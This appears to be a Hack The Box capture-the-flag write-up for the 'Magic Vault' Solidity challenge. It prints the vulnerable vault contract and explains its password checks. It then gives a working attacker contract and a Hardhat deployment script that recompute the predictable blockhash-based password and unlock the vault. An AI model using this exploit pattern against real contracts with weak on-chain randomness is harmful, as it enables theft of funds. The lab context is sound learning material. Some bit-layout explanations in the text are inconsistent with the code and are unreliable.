HTB: Magic Vault.

Table of Contents

The contracts:

Setup.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Vault} from "./Vault.sol";

contract Setup {
    Vault public immutable TARGET;

    constructor() payable {
        require(msg.value == 1 ether);
        TARGET = new Vault();
    }

    function isSolved() public view returns (bool) {
        return TARGET.mapHolder() != address(TARGET);
    }
}

Vault.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Vault {
    struct Map {
        address holder;
    }

    Map map;
    address public owner;
    bytes32 private passphrase;
    uint256 public nonce;
    bool public isUnlocked;

    constructor() {
        owner = msg.sender;
        passphrase = bytes32(keccak256(abi.encodePacked(uint256(blockhash(block.timestamp)))));
        map = Map(address(this));
    }

    function mapHolder() public view returns (address) {
        return map.holder;
    }

    function claimContent() public {
        require(isUnlocked);
        map.holder = msg.sender;
    }

    function unlock(bytes16 _password) public {
        uint128 _secretKey = uint128(bytes16(_magicPassword()) >> 64);
        uint128 _input = uint128(_password);
        require(_input != _secretKey, "Case 1 failed");
        require(uint64(_input) == _secretKey, "Case 2 failed");
        require(uint64(bytes8(_password)) == uint64(uint160(owner)), "Case 3 failed");
        isUnlocked = true;
    }

    function _generateKey(uint256 _reductor) private returns (uint256 ret) {
        ret = uint256(keccak256(abi.encodePacked(uint256(blockhash(block.number - _reductor)) + nonce)));
        nonce++;
    }

    function _magicPassword() private returns (bytes8) {
        uint256 _key1 = _generateKey(block.timestamp % 2 + 1);
        uint128 _key2 = uint128(_generateKey(2));
        bytes8 _secret = bytes8(bytes16(uint128(uint128(bytes16(bytes32(uint256(uint256(passphrase) ^ _key1)))) ^ _key2)));
        return (_secret >> 32 | _secret << 16);
    }
}

Explaining the vault contract

The unlock function in the provided contract requires the caller to provide a _password that satisfies three conditions:

  • _input != _secretKey
  • uint64(_input) == _secretKey
  • uint64(bytes8(_password)) == uint64(uint160(owner))

Let’s break down each condition:

_input != _secretKey: This means that the _password (when cast to uint128) should not be equal to _secretKey.

uint64(_input) == _secretKey: This means that the lower 64 bits of _password (when cast to uint128) should be equal to _secretKey.

uint64(bytes8(_password)) == uint64(uint160(owner)): This means that the lower 64 bits of _password should be equal to the lower 64 bits of the contract’s owner address.

Given these conditions, the _password should have the following structure:

-----------------------------------------
| 64 bits of owner | 64 bits of _secretKey |
-----------------------------------------

TO determine _secretKey, we need to understand the _magicPassword function:

_key1 is generated using the blockhash of either the current block or the previous block (depending on the current block’s timestamp).

_key2 is generated using the blockhash of the block two blocks before the current block.

_secret is derived from the passphrase (which is set in the constructor) and the two keys _key1 and _key2.

Writing our own contract

By taking what generates the password, and implementing them in our own contract, we can “reverse” the password generation process to get the password.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

interface IVault {
    function nonce() external returns (uint256);
    function unlock(bytes16 _password) external;
}

contract Magic_Vault {
    IVault target;
    uint256 nonce;

    constructor(address _target) {
        target = IVault(_target);
    }

    function _generateKey(uint256 _reductor) private returns (uint256 ret) {
        ret = uint256(keccak256(abi.encodePacked(uint256(blockhash(block.number - _reductor)) + nonce)));
        nonce++;
    }

    function _magicPassword() private returns (bytes8) {
        nonce = target.nonce();
        uint256 _key1 = _generateKey(block.timestamp % 2 + 1);
        uint128 _key2 = uint128(_generateKey(2));
        bytes32 passphrase = bytes32(keccak256(abi.encodePacked(uint256(blockhash(block.timestamp)))));
        bytes8 _secret = bytes8(bytes16(uint128(uint128(bytes16(bytes32(uint256(uint256(passphrase) ^ _key1)))) ^ _key2)));
        return (_secret >> 32 | _secret << 16);
    }

    function generateUnlockKey(address vaultOwner) public  {
        uint64 ownerPart = uint64(uint160(vaultOwner));
        uint64 secretPart = uint64(_magicPassword());
        bytes16 key = bytes16((uint128(ownerPart) << 64) | secretPart);
        target.unlock(key);
    }
}

Here we have implemented the _generateKey and _magicpassword from the original Vault.sol, and we have also implemented the generateUnlockKey function which generates the password and calls the unlock function on the target.

Make sure you understand the original contract and the contract above! It took me a long while to get past Case 2 until I realised what it actually “asked for”, copy-and-pasting the above contract won’t make you better at this, read and understand :)

const hre = require("hardhat");

async function main() {
    const VAULT = "0x6EA09f29efdAaBE73Fe294A8a6E465c5000BdED7";
    const SETUP_ADDRESS = "0x5163406c67606Cf0C5F4053a76D74A7039aBF388"

    // Step 1: Deploy the intermediary Attacker contract
    console.log("Deploying Attacker contract...");
    const Attacker = await hre.ethers.getContractFactory("Magic_Vault");
    const attackerInstance = await Attacker.deploy(VAULT);
    await attackerInstance.waitForDeployment();  // This waits for the contract deployment transaction to be confirmed.
    // const vaultInstance = await hre.ethers.getContractAt("IVault", VAULT);

    console.log("Attacker contract deployed at:", attackerInstance);

    // Step 2: Try to unlock
    console.log("Trying to unlock the vault...");
    await attackerInstance.generateUnlockKey(SETUP_ADDRESS);
}

main()
    .then(() => process.exit(0))
    .catch((error) => {
        console.error(error);
        process.exit(1);
    });

If you understand the contract above, you should be able to understand the above script. We deploy the contract, and then call the generateUnlockKey function with the address of the Setup contract. We call it with the address of the Setup.sol contract because case 3 requires the lower 64 bits of the password to be equal to the lower 64 bits of the owner address of the contract, and the “Owner” is the one who deployed the contract (In this case, Setup deploys Vault!)